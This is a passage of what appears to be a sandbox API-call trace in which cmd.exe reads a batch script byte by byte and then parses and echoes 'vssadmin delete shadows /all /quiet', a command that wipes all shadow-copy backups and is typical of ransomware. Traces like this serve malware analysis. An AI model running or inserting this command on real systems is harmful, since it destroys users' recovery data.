lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.524] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0168.524] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.524] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.525] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.525] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0168.525] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.525] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.525] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.525] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0168.525] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.525] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.525] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.525] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0168.525] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.525] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.525] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.525] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0168.525] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.525] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.525] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.525] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0168.525] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.526] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.526] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.526] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0168.526] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.526] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.526] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.526] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0168.526] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.526] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.526] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.526] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0168.526] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.526] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.526] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.526] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0168.526] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.526] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.526] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.527] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0168.527] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.527] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.527] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.527] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0168.527] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.527] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.527] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.527] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0168.527] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.527] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.527] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.527] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0168.527] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.527] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.527] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.527] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0168.527] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.527] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.527] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.528] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0168.528] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.528] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.528] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.528] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0168.528] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.528] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.528] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.528] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0168.528] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.528] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.528] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.528] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0168.528] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.528] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.528] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.528] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0168.528] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.528] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.529] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.529] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0168.529] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.529] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.529] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.529] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0168.529] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.529] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.529] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.529] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0168.529] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.529] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.529] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.529] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0168.529] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.529] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.529] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0168.529] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0168.530] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.530] GetFileType (hFile=0x248) returned 0x3 [0168.530] _get_osfhandle (_FileHandle=0) returned 0x248 [0168.530] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.530] _get_osfhandle (_FileHandle=1) returned 0x254 [0168.530] GetFileType (hFile=0x254) returned 0x3 [0168.530] _get_osfhandle (_FileHandle=1) returned 0x254 [0168.530] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff751539970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0168.530] WriteFile (in: hFile=0x254, lpBuffer=0x7ff751539970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x35b31ff588, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesWritten=0x35b31ff588*=0x24, lpOverlapped=0x0) returned 1 [0168.530] GetProcessHeap () returned 0x16fa0dc0000 [0168.530] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x4012) returned 0x16fa0dc8e90 [0168.530] GetProcessHeap () returned 0x16fa0dc0000 [0168.530] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc8e90) returned 1 [0168.532] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0168.532] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0168.532] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0168.532] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0168.532] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0168.532] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0168.532] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0168.532] GetProcessHeap () returned 0x16fa0dc0000 [0168.532] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xb0) returned 0x16fa0dc7340 [0168.532] GetProcessHeap () returned 0x16fa0dc0000 [0168.532] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x22) returned 0x16fa0dc6490 [0168.533] GetProcessHeap () returned 0x16fa0dc0000 [0168.533] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x48) returned 0x16fa0dc75e0 [0168.533] GetConsoleOutputCP () returned 0x4e3 [0168.535] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff75153fbb0 | out: lpCPInfo=0x7ff75153fbb0) returned 1 [0168.535] SetThreadUILanguage (LangId=0x0) returned 0x409 [0168.536] GetConsoleTitleW (in: lpConsoleTitle=0x35b31ff3d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0168.538] malloc (_Size=0xffce) returned 0x16fa0ee0840 [0168.538] ??_V@YAXPEAX@Z () returned 0x16fa0ee0840 [0168.538] malloc (_Size=0xffce) returned 0x16fa0ef0820 [0168.538] ??_V@YAXPEAX@Z () returned 0x16fa0ef0820 [0168.538] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0168.538] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0168.538] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0168.538] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0168.538] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0168.538] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0168.539] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0168.539] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0168.539] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0168.539] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0168.539] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0168.539] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0168.539] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0168.539] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0168.539] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0168.539] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0168.539] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0168.539] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0168.539] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0168.539] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0168.539] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0168.539] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0168.539] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0168.539] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0168.539] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0168.539] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0168.539] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0168.539] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0168.539] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0168.539] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0168.539] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0168.539] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0168.539] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0168.539] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0168.540] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0168.540] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0168.540] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0168.540] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0168.540] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0168.540] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0168.540] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0168.540] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0168.540] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0168.540] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0168.540] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0168.540] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0168.540] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0168.540] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0168.540] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0168.540] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0168.540] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0168.540] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0168.540] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0168.540] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0168.540] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0168.540] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0168.540] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0168.540] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0168.540] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0168.540] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0168.540] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0168.540] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0168.541] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0168.541] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0168.541] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0168.541] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0168.541] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0168.541] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0168.541] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0168.541] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0168.541] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0168.541] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0168.541] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0168.541] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0168.541] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0168.541] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0168.541] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0168.541] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0168.541] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0168.541] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0168.541] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0168.541] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0168.541] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0168.541] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0168.541] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0168.541] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0168.541] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0168.541] ??_V@YAXPEAX@Z () returned 0x1 [0168.541] GetProcessHeap () returned 0x16fa0dc0000 [0168.542] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xffde) returned 0x16fa0dc8e90 [0168.543] GetProcessHeap () returned 0x16fa0dc0000 [0168.543] 